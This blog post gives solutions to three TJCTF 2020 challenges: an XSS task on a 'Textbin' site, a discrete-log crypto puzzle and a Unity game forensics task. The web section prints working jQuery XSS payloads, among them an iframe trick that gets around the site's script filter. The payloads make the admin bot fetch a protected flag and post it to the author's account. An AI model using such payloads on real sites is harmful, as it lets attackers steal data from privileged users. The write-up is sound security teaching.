TJCTF 2020 Writeups

TJCTF 2020

TJCTF 2020 was a CTF run by TJHSST’s Computer Security Club. I played with the team inSmartCard, finishing 14th (in the high school teams, 20th with observer teams). Check out my team page on the CTF website here to see me carry my team :^). Here are some writeups of some challenges which I thought were interesting.

Web

My specialty in CTFs are web challs, which is I tried to solve every web challenge in this CTF.

FB Library

sorry lol

Admin Secrets

Admin Secrets was the last web challenge, with 71 solves and 100 points. I also got first-blood on this challenge ~4 hours into the competition, which I was really happy with!

The website was a “Textbin”, where you could register and create posts with any HTML tags you wanted. You could also report posts to the admin. Another obvious XSS challenge.

However, when I first tried reporting to the admin, it wasn’t able to connect to any outside resources. I later learned that this was a problem with the website initially, and that it worked later. Well, I solved the problem under the assumption it couldn’t connect anywhere :P.

The way I got around this (non-existent) problem was getting the admin to log into my account and create a post to my list of posts. I used the following code segment with jQuery to do this:

$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
	$.post("/create_worker", {text: resp});
});

Now that I could get responses from the admin, I now needed to find the flag. Looking at the source of the post website, I saw:

Obviously, the flag would be there!

I used the following script to grab that data:

window.onload = () => {
	$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
		$.post("/create_worker", {text: $(".admin_console").html()});
	});
}

However, upon viewing my new post, I saw that the admin console just had three buttons. However, one of the buttons was named Access Flag. Clicking the button would send a request to /admin_flag and respond with the flag. Easy enough.

window.onload = () => {
	$.get("/admin_flag", flag => {
		$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
			$.post("/create_worker", {text: flag});
		});
	});
}

Oh boy. Actually, when I solved this challenge on day 1, it gave me no information on why my post contained unsafe content.

So, I had to find a way to bypass the XSS filter and still get the admin to send me the flag. The intended solution was to encode your payload enough to bypass the filter. However, I thought about it in a different way - if the website checks the post to see if there’s JavaScript, why not have any JavaScript in the post?

My idea was to create an iframe using the XSS, and inject Javascript INTO the iframe that would fetch the flag and send it to me. Here was my payload:

window.onload = () => {
    let iframe = document.createElement("iframe");
    iframe.src = "/posts/pjdNubwOj!FA71Qg";
    iframe.onload = () => {
        iframe.contentWindow.$.ajax({
            type: "GET",
            url: "/admin_flag",
            success: function(resp) {
                iframe.contentWindow.$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
                    iframe.contentWindow.$.post("/create_worker", {text: resp});
                });
            }
        });
    };
    document.body.appendChild(iframe);
}

The iframe.src links to a blank post that I made with no JavaScript on it. When the admin views the page, it’ll create an iframe with the post, and run JavaScript from that iFrame’s context! Then, it’ll send me the flag by creating a new post on my profile.

A pretty cool and unintended solution!

Cryptography

Difficult Decryption

Just use sympy lol.

from sympy.ntheory.residue_ntheory import discrete_log
g = 5
r = 232042342203461569340683568996607232345
n = 491988559103692092263984889813697016406

your_key = 76405255723702450233149901853450417505
enc = 12259991521844666821961395299843462461536060465691388049371797540470
a = discrete_log(n,r,g)
print(bytes.fromhex(hex(enc ^ (pow(your_key, a, n)))[2:]))
# b'tjctf{Ali3ns_1iv3_am0ng_us!}'

Forensics

Gamer F

Gamer F was a Unity game that combined both Snake and Tetris, and had the flag stored in three parts. Since it was a Unity game, I first played around with it. The flag for this challenge was split into three parts.

There was an obvious flag on the menu screen, but it seemed to be covered by a colored box.

Playing with the Sound bar changed the color of the box, but the flag was always hidden. So, I fired up dnSpy and opened up Assembly-CSharp.dll.

I quickly found this piece of code:

Changing the color with the Sound bar seems to change the color of this cover box. So, I made an edit to this line and made the box transparent.

After, opening the game and moving the Sound bar showed me this!

1/3 of the flag found.

Looking through the source code some more I found:

which seemed to be something related to winning or clearing the game. I converted this from hex to ASCII and got the 2nd part of the flag!

Now, for the final part of the flag, I didn’t find it anywhere in the code. So, I started looking through the game’s files. I fired up UnityAssetsBundleExtractor and looked through the files.

I eventually found these three audio files. One of them just played a sound effect. The next one, however, played what seemed to be the flag, but it read out the flag in Japanese. My heart sank, but thankfully the last audio file read out the last part of the flag in English. :)

Flag: tjctf{wh3rs_the_T5sp1n_sn4ekk}



comments powered by Disqus